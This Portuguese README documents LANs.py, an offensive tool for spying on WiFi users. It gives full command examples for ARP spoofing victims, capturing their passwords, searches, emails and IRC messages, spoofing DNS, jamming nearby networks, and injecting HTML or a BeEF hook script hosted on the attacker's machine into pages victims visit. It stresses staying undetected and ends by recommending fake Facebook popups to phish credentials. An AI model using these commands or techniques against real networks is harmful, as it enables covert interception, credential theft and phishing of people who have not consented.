
Injetar código e espionar usuários de wifi
*** NOTA *** Eu não mantenho mais isso. Recomendo fortemente usar o bettercap para necessidades de ARP e MITM.
Encontra automaticamente os usuários WLAN mais ativos e então espiona um deles e/ou injeta HTML/JS arbitrário nas páginas que eles visitam.
Também pode ser usado para interferir continuamente em redes WiFi próximas. Isso tem um alcance aproximado de um quarteirão, mas pode variar com base na potência da sua placa WiFi. Pode ser ajustado para permitir interferir em todos ou apenas um cliente. (Não é possível interferir WiFi e espionar simultaneamente)
Pré-requisitos: Linux, python-scapy, python-nfqueue (nfqueue-bindings 0.4-3), aircrack-ng, python-twisted, BeEF (opcional), nmap, nbtscan e uma placa sem fio capaz de modo promíscuo se você optar por não usar a opção -ip
Testado no Kali 1.0. Nos exemplos a seguir, 192.168.0.5 será a máquina atacante e 192.168.0.10 será a vítima.
Todas as opções:
Python LANs.py [-h] [-b BEEF] [-c CODE] [-u] [-ip IPADDRESS] [-vmac VICTIMMAC]
[-d] [-v] [-dns DNSSPOOF] [-a] [-set] [-p] [-na] [-n]
[-i INTERFACE] [-r REDIRECTTO] [-rip ROUTERIP]
[-rmac ROUTERMAC] [-pcap PCAP] [-s SKIP] [-ch CHANNEL]
[-m MAXIMUM] [-no] [-t TIMEINTERVAL] [--packets PACKETS]
[--directedonly] [--accesspoint ACCESSPOINT]
python LANs.py -u -p
Identificação ativa de alvos que faz spoofing ARP do alvo escolhido e exibe todos os dados não-HTTPS interessantes que eles enviam ou solicitam. Não há opção -ip, então isso fará uma varredura ARP da rede, comparará com uma captura promíscua em execução e listará todos os clientes na rede. Tenta marcar os alvos com um nome Windows netbios e imprime quantos pacotes de dados eles estão enviando/recebendo. A capacidade de capturar pacotes de dados que eles enviam depende muito da proximidade física e da potência da sua placa de rede. Ctrl-C quando estiver pronto e escolha seu alvo, que então sofrerá spoofing ARP.
Suporta interceptação e coleta de dados dos seguintes protocolos: HTTP, FTP, IMAP, POP3, IRC. Imprimirá os primeiros 135 caracteres das URLs visitadas e ignorará URLs terminadas em .jpg, .jpeg, .gif, .css, .ico, .js, .svg e .woff. Também imprimirá todos os nomes de usuário/senhas de protocolo inseridos, pesquisas feitas em qualquer site, e-mails enviados/recebidos e mensagens IRC enviadas/recebidas. Captura de tela: http://i.imgur.com/kQofTYP.png
Executar LANs.py sem argumentos fornecerá a lista de alvos ativos e, ao selecionar um, atuará como um simples spoofing ARP.
python LANs.py -u -p -d -ip 192.168.0.10
-d: abre um xterm com driftnet para ver todas as imagens que eles visualizam
-ip: especifica este endereço IP e pula a segmentação ativa no início
python LANs.py -b http://192.168.0.5:3000/hook.js
Injeta uma URL de hook do BeEF (http://beefproject.com/, tutorial: http://resources.infosecinstitute.com/beef-part-1/) nas páginas que a vítima visita. Isso apenas envolve o argumento em tags <script>, então você pode realmente inserir qualquer localização de um arquivo javascript. Tenta inseri-lo após a primeira tag encontrada no HTML da página.
python LANs.py -c '<title>Owned.</title>'
Injeta HTML arbitrário nas páginas que a vítima visita. Primeiro tenta injetá-lo após a primeira tag <head> e, se falhar, injeta antes da primeira tag </head>. Este exemplo mudará o título da página para 'Owned.'
python LANs.py -pcap libpcapfilename -ip 192.168.0.10
Para ler de um arquivo pcap, você deve incluir o endereço IP do alvo com a opção -ip. Ele também deve estar no formato libpcap, que é o mais comum de qualquer forma. Uma vantagem de ler de um arquivo pcap é que você não precisa ser root para executar o script.
python LANs.py -a -r 80.87.128.67
python LANs.py -dns eff.org
Exemplo 1: A opção -a fará spoofing de toda solicitação DNS que a vítima fizer e, quando usada em conjunto com -r, redirecionará para o endereço do argumento de -r. A vítima será redirecionada para stallman.org (80.87.128.67) não importa o que digite na barra de endereços.
Exemplo 2: Isso fará spoofing do domínio eff.org e subdomínios de eff.org. Quando não houver argumento -r presente com os argumentos -a ou -dns, o script padrão redirecionará a vítima para o endereço IP do atacante. Se a vítima tentar ir para eff.org, será redirecionada para o IP do atacante.
python LANs.py -v -d -p -n -na -set -a -r 80.87.128.67 -c '<title>Owned.</title>' -b http://192.168.0.5:3000/hook.js -ip 192.168.0.10
python LANs.py
Uso normal:
-b BEEF_HOOK_URL: copie a URL do hook do BeEF para injetá-la em todas as páginas que a vítima visita, ex: -b http://192.168.1.10:3000/hook.js
-c 'CÓDIGO HTML': injete código HTML arbitrário nas páginas que a vítima visita; inclua as aspas ao selecionar HTML para injetar
-d: abre um xterm com driftnet para ver todas as imagens que eles visualizam
-dns DOMÍNIO: faça spoofing de DNS do DOMÍNIO. ex: -dns facebook.com fará spoofing de DNS de todas as requisições DNS para facebook.com ou subdominio.facebook.com
-a: Faz spoofing de toda resposta DNS que a vítima faz, criando efetivamente uma página de portal cativo; a opção -r pode ser usada com isso
-r ENDEREÇO_IP: deve ser usado apenas com a opção -dns DOMÍNIO; redireciona o usuário para este ENDEREÇO_IP quando ele visitar DOMÍNIO
-u: imprime URLs visitadas; trunca em 150 caracteres e filtra URLs de imagem/css/js/woff/svg, pois poluem a saída e são desinteressantes
-i INTERFACE: especifica a interface; padrão é a primeira interface em ip route, ex: -i wlan0
-ip: especifica este endereço IP como alvo
-n: realiza uma varredura nmap rápida do alvo
-na: realiza uma varredura nmap agressiva em segundo plano e gera saída para [endereço_IP_vítima].nmap.txt
-p: imprime nomes de usuário/senhas para FTP/IMAP/POP/IRC/HTTP, POSTs HTTP feitos, todas as pesquisas feitas, e-mails recebidos/enviados e mensagens IRC enviadas/recebidas
-pcap ARQUIVO_PCAP: analisa todos os pacotes em um arquivo pcap; requer o argumento -ip [endereço_IP_do_alvo]
-rmac MAC_DO_ROTEADOR: insira o MAC do roteador aqui se estiver com dificuldades para o script obtê-lo automaticamente
-rip IP_DO_ROTEADOR: insira o IP do roteador aqui se estiver com dificuldades para o script obtê-lo automaticamente
-v: mostra URLs detalhadas que não truncan em 150 caracteres como -u
Interferência WiFi:
Ao receber um Ctrl-C:
-Desativa o encaminhamento IP
-Limpa o firewall iptables
-Restaura individualmente as tabelas ARP do roteador e da vítima
Este script usa uma fila python nfqueue-bindings encapsulada em um Twisted IReadDescriptor para alimentar pacotes para funções de callback. nfqueue-bindings é usado para descartar e encaminhar certos pacotes. A biblioteca scapy do Python faz o trabalho de analisar e injetar pacotes.
Injectar código sem ser detectado é um jogo arriscado, se algo menor der errado ou o servidor do qual a vítima está solicitando dados realizar coisas de uma maneira única ou rara, então o usuário não conseguirá abrir a página que está tentando visualizar e saberá que algo está errado. Este script é projetado para encaminhar pacotes se algo falhar, então durante o uso você pode ver muitos "[!] Injected packet for www.domain.com", mas ver apenas um ou dois domínios no painel do BeEF em que o navegador está conectado. Isso é OK. Se eles não forem conectados na primeira página, apenas espere eles navegarem por algumas outras páginas. O objetivo é ser imperceptível. Minhas ferramentas favoritas do BeEF estão em Commands > Social Engineering. Faça coisas como criar um pop-up do Facebook de aparência oficial dizendo que a autenticação do usuário expirou e para reinserir suas credenciais.